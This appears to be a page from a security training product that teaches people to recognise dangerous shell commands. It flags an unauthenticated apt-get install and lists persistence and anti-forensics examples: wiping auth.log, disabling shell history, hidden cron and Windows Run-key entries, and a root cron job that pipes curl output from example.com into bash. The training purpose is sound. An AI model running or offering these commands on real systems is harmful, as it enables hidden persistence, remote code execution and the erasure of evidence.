Dangerous
apt-get install -y --allow-unauthenticated app-agentlinux · bash · Intermediate
--allow-unauthenticated tells apt to install a package whose signature could not be verified, and package maintainer scripts run as root…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert